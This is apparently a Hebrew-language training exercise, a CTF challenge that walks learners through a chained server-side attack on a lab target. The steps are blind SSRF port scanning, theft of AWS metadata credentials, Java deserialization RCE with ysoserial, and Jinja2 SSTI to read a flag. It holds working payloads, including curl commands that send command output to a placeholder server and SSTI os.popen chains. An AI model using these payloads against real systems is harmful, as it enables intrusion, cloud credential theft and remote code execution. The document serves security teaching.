לדלג לתוכן

אתגר CTF - צד שרת

סקירת האתגר

אתגר זה משלב את כל הנושאים שלמדנו בפרק 7: SSRF, תקיפת ענן, דסריאליזציה, העלאת קבצים, ו-SSTI. כל שלב מוביל לשלב הבא, ממש כמו תרחיש תקיפה אמיתי.


שלב 1 - גילוי שירותים פנימיים עם Blind SSRF

תיאור

מצאתם אפליקציית ווב שמאפשרת לבדוק האם אתר מסוים זמין. הפונקציונליות מוחזרת כ-"Available" או "Not Available" - בלי את תוכן התשובה.

משימות

  1. זהו את הפרמטר הפגיע ל-SSRF
  2. אשרו שיש SSRF עם שרת חיצוני (Burp Collaborator או webhook.site)
  3. סרקו את הרשת הפנימית כדי למצוא שירותים:
  4. נסו כתובות IP בטווח 10.0.0.1-10.0.0.20
  5. נסו פורטים: 80, 8080, 3000, 5000, 8000, 9090
  6. השתמשו בזמני תגובה לזהות שירותים חיים
import requests
import time

TARGET = "http://challenge.ctf.com/check-url"

def scan_internal(ip, port):
    """Check whether an internal service exists"""
    internal_url = f"http://{ip}:{port}/"
    start = time.time()
    try:
        response = requests.get(
            TARGET,
            params={"url": internal_url},
            timeout=10
        )
        elapsed = time.time() - start

        # Short response time = service exists
        # Long response time = timeout = no service
        if elapsed < 3 and "Available" in response.text:
            print(f"[+] FOUND: {ip}:{port} ({elapsed:.2f}s)")
            return True
    except:
        pass
    return False

# Scan
for i in range(1, 21):
    for port in [80, 8080, 3000, 5000, 8000, 9090]:
        scan_internal(f"10.0.0.{i}", port)
  1. תעדו את כל השירותים שמצאתם ומהם אנחנו נמשיך לשלב הבא

רמז

חפשו שירות על פורט 80 שנותן תשובה מהירה. כנראה שזה שירות ווב פנימי.


שלב 2 - גניבת הרשאות ענן דרך SSRF

תיאור

גיליתם שהאפליקציה רצה על AWS EC2. השתמשו ב-SSRF כדי לגשת לשירות ה-Metadata.

משימות

  1. גשו ל-http://169.254.169.254/latest/meta-data/ דרך ה-SSRF
  2. מצאו את שם ה-IAM Role:
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
  3. חלצו את ההרשאות המלאות (Access Key, Secret Key, Token)
  4. בדקו גם את ה-user-data לסודות נוספים:

    http://169.254.169.254/latest/user-data
    

  5. הגדירו את ההרשאות במכונה שלכם:

    export AWS_ACCESS_KEY_ID="ASIA..."
    export AWS_SECRET_ACCESS_KEY="..."
    export AWS_SESSION_TOKEN="..."
    

  6. בדקו מה ההרשאות מאפשרות:

    aws sts get-caller-identity
    aws s3 ls
    aws ec2 describe-instances
    aws lambda list-functions
    

  7. מצאו S3 Bucket עם מידע שמוביל לשלב הבא

רמז

ב-user-data יש סקריפט שמכיל כתובת URL של שירות פנימי נוסף שלא מצאתם בסריקה.


שלב 3 - מציאת נקודת דסריאליזציה

תיאור

מצאתם שירות Java פנימי (Jenkins/JBoss/custom app). דרך ה-SSRF, אתם יכולים לשלוח בקשות אליו.

משימות

  1. גשו לשירות הפנימי דרך ה-SSRF ומפו את הנקודות הזמינות
  2. חפשו סימנים לדסריאליזציה:
  3. Headers כמו Content-Type: application/x-java-serialized-object
  4. נתונים בencoding Base64 שמתחילים ב-rO0AB
  5. נקודות קצה כמו /invoker/, /jmxinvokerservlet, /api/deserialize

  6. אשרו שהנקודה פגיעה עם URLDNS payload:

    # Create a payload for detection
    java -jar ysoserial-all.jar URLDNS "http://YOUR-COLLABORATOR.burpcollaborator.net" | base64 -w0
    

  7. שלחו את ה-payload דרך ה-SSRF:

    import requests
    import base64
    
    # The SSRF sends a request to the internal service with the payload
    ssrf_payload = {
        "url": "http://10.0.0.5:8080/api/import",
        "method": "POST",
        "body": base64.b64encode(ysoserial_payload).decode(),
        "headers": {"Content-Type": "application/x-java-serialized-object"}
    }
    

  8. בדקו ב-Collaborator אם הגיעה בקשת DNS

רמז

הנקודה הפגיעה מקבלת נתונים ב-POST body כ-Base64 encoded serialized object.


שלב 4 - RCE דרך דסריאליזציה

תיאור

אישרתם שהשירות הפנימי פגיע לדסריאליזציה. עכשיו צריך להשיג RCE.

משימות

  1. נסו שרשראות gadget שונות כדי למצוא את המתאימה:

    # Try each one and check in the Collaborator
    for chain in CommonsCollections1 CommonsCollections2 CommonsCollections3 \
                 CommonsCollections4 CommonsCollections5 CommonsCollections6 \
                 CommonsCollections7 CommonsBeanutils1; do
        echo "[*] Testing $chain"
        java -jar ysoserial-all.jar $chain \
            "nslookup ${chain}.YOUR-ID.burpcollaborator.net" | base64 -w0
        echo ""
    done
    

  2. ברגע שמצאתם שרשרת שעובדת, הריצו פקודות לסקירת המכונה:

    # Who am I?
    java -jar ysoserial-all.jar CommonsCollections5 "curl http://YOUR-SERVER/?data=$(id|base64)" | base64 -w0
    
    # What's on the network?
    java -jar ysoserial-all.jar CommonsCollections5 "curl http://YOUR-SERVER/?data=$(ifconfig|base64)" | base64 -w0
    

  3. מצאו שירות נוסף ברשת הפנימית שנגיש מהמכונה הזו

  4. תעדו את הגישה שלכם ואת הממצאים

רמז

בדקו את משתני הסביבה של המכונה - יש שם כתובת URL של שירות פנימי עם SSTI.


שלב 5 - SSTI ל-RCE מלא

תיאור

מהמכונה שהשגתם גישה אליה בשלב 4, מצאתם שירות פנימי שמשתמש ב-Jinja2 template engine.

משימות

  1. גשו לשירות הפנימי מהמכונה שפרצתם
  2. זהו את נקודת ה-SSTI:

    # Via reverse shell or command injection from the previous step
    curl "http://10.0.0.10:5000/page?name={{7*7}}"
    # If it returns 49 - there is SSTI
    

  3. זהו הגבלות (אם יש):

    curl "http://10.0.0.10:5000/page?name={{config}}"
    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__}}"
    

  4. השיגו RCE:

    # Chain 1
    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__['os'].popen('id').read()}}"
    
    # Chain 2 (if the first is blocked)
    curl "http://10.0.0.10:5000/page?name={{cycler.__init__.__globals__['os'].popen('id').read()}}"
    

  5. קראו את הדגל:

    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__['os'].popen('cat /flag.txt').read()}}"
    

  6. תעדו את כל שרשרת התקיפה מההתחלה ועד הסוף

רמז

אם תווים מסוימים חסומים, נסו את הטכניקות שלמדנו - hex encoding, request.args, attr filter.


סיכום האתגר

Stage 1: Blind SSRF --> discover internal services
    |
    v
Stage 2: SSRF --> Metadata --> AWS credentials
    |
    v
Stage 3: SSRF --> internal Java service --> detect deserialization
    |
    v
Stage 4: ysoserial --> RCE on the Java server
    |
    v
Stage 5: SSTI in an internal service --> RCE --> flag

סביבות תרגול מומלצות

PortSwigger Web Security Academy

השלימו את כל המעבדות ברמת Expert:
- SSRF labs (כולל Blind SSRF)
- Deserialization labs (כולל custom gadget chains)
- SSTI labs (כולל sandboxed environments)
- File Upload labs (כולל race conditions)

HackTheBox

מכונות מומלצות עם chaining חולשות צד שרת:
- חפשו מכונות עם תגיות: SSRF, Deserialization, SSTI
- מכונות ברמת Medium ו-Hard
- Pro Labs: Offshore, RastaLabs

TryHackMe

חדרים מומלצים:
- "SSRF" room
- "Java Deserialization" room
- "SSTI" room
- "Upload Vulnerabilities" room
- "Cloud Security" pathway

CTF

  • flaws.cloud + flaws2.cloud - תקיפת AWS
  • CloudGoat (Rhino Security Labs) - תרחישי AWS
  • OWASP WebGoat - Deserialization module
  • PentesterLab - Advanced Web challenges

דוח מסכם

בסיום האתגר, כתבו דוח שמסכם:

  1. ממצאים - כל חולשה שמצאתם, כולל חומרה (CVSS)
  2. שרשרת תקיפה - תיאור מלא של כל שלב, כולל payloads
  3. השפעה - מה תוקף יכול לעשות עם כל חולשה
  4. המלצות - כיצד לתקן כל חולשה
  5. לקחים - מה למדתם מהאתגר

תבנית לדוח

# Penetration Test Report - Server-Side CTF Challenge

## Executive Summary
[A short summary of the findings and risks]

## Findings

### Finding 1: Blind SSRF
- Severity: High
- Entry point: [URL and parameter]
- Proof of exploitation: [payload]
- Impact: [what can be done]
- Remediation recommendation: [how to fix]

### Finding 2: AWS Credential Theft
[...]

### Finding 3: Java Deserialization RCE
[...]

### Finding 4: SSTI RCE
[...]

## Full Attack Chain
[Diagram and description of all the stages]

## General Recommendations
[Architecture-level recommendations]